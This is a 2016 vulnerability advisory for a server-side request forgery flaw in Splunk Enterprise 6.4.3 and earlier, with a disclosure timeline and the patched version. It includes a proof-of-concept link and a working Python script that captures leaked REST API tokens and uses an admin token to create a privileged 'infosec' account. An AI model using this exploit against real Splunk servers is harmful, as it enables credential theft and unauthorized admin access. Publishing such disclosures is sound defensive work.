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Splunk Enterprise 6.4.3 Server-Side Request Forgery

Posted on 12 December 2016

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presents..

Splunk Enterprise Server-Side Request Forgery
Affected versions: Splunk Enterprise <= 6.4.3

PDF:
http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf

+-----------+
|Description|
+-----------+
The Splunk Enterprise application is affected by a server-side request
forgery vulnerability. This vulnerability can be exploited by an
attacker via social engineering or other vectors to exfiltrate
authentication tokens for the Splunk REST API to an external domain.

+------------+
|Exploitation|
+------------+
==Server-Side Request Forgery==

A server-side request forgery (SSRF) vulnerability exists in the Splunk
Enterprise web management interface within the Alert functionality. The
application parses user supplied data in the GET parameter aalerts_ida
to construct a HTTP request to the splunkd daemon listening on TCP port
8089. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make a HTTP
request to an arbitrary destination host. The issue is aggravated by the
fact that the application includes the REST API token for the currently
authenticated user within the Authorization request header.

This vulnerability can be exploited via social engineering to obtain
unauthorized access to the Splunk REST API with the same privilege level
of the captured API token.

[POC SSRF LINK]
/en-US/alerts/launcher?eai%3Aacl.app=launcher&eai%3Aacl.owner=*&severity=*&alerts_id=[DOMAIN]&search=test

The proof of concept below can be used to listen for SSRF connections
and automatically create a malicious privileged user when an
administrative token is captured.

[POC - splunk-poc.py]
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import httplib
import ssl
import requests

token = ''

class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
global token
try:
token = self.headers.get('Authorization')[7:]
print "[+] Captured Splunk API token from GET request"
except Exception, e:
print "[-] No API token captured on incoming connection..."

def adminTokenNotCaptured():
global token
if token:
query = "/services/authentication/httpauth-tokens/" + token
conn = httplib.HTTPSConnection("<SPLUNK IP>", 8089,
context=ssl._create_unverified_context())
conn.putrequest("GET", query)
conn.putheader("Authorization", "Splunk %s" % token)
conn.endheaders()
context = conn.getresponse().read()
if 'userName">admin' in context:
print "[+] Confirmed Splunk API token belongs to admin user"
print "[+] Admin Splunk API Token: %s" % token
return False
else:
print "[!] Splunk API token does not belong to admin user"

return True

def poc():
global token
create_user_uri = "https://<SPLUNK
IP>:8089/services/authentication/users"
params = {'name': 'infosec', 'password': 'password', 'roles': 'admin'}
auth_header = {'Authorization': 'Splunk %s' % token}
requests.packages.urllib3.disable_warnings()
response = requests.post(url=create_user_uri, data=params,
headers=auth_header, verify=False)
if "<title>infosec" in response.content:
print "[+] POC admin account 'infosec:password' successfully
created"
else:
print "[-] No account was created"
print response.content

if __name__ == "__main__":
try:
print "[+] Starting HTTP Listener"
server = HTTPServer(("", 8080), MyHandler)
while adminTokenNotCaptured():
server.handle_request()
poc()
except KeyboardInterrupt:
print "[+] Stopping HTTP Listener"
server.socket.close()

+----------+
| Solution |
+----------+
Update to Splunk 6.5.0 or later. Full information about all patched
versions are provided in the reference links below.

+------------+
| Timeline |
+------------+
24/08/2016 a Initial disclosure to vendor
25/08/2016 a Vendor acknowledges receipt of the advisory and confirms
vulnerability.
28/09/2016 a Sent follow up email asking for status update
30/09/2016 a Vendor replies fixes are being backported to all supported
versions of the software.
10/11/2016 a Vendor releases security advisory and patched software versions
09/12/2016 a Public disclosure

+------------+
| Additional |
+------------+
http://security-assessment.com/files/documents/advisory/SplunkAdvisory.pdf
https://www.splunk.com/view/SP-CAAAPSR [SPL-128840]

 

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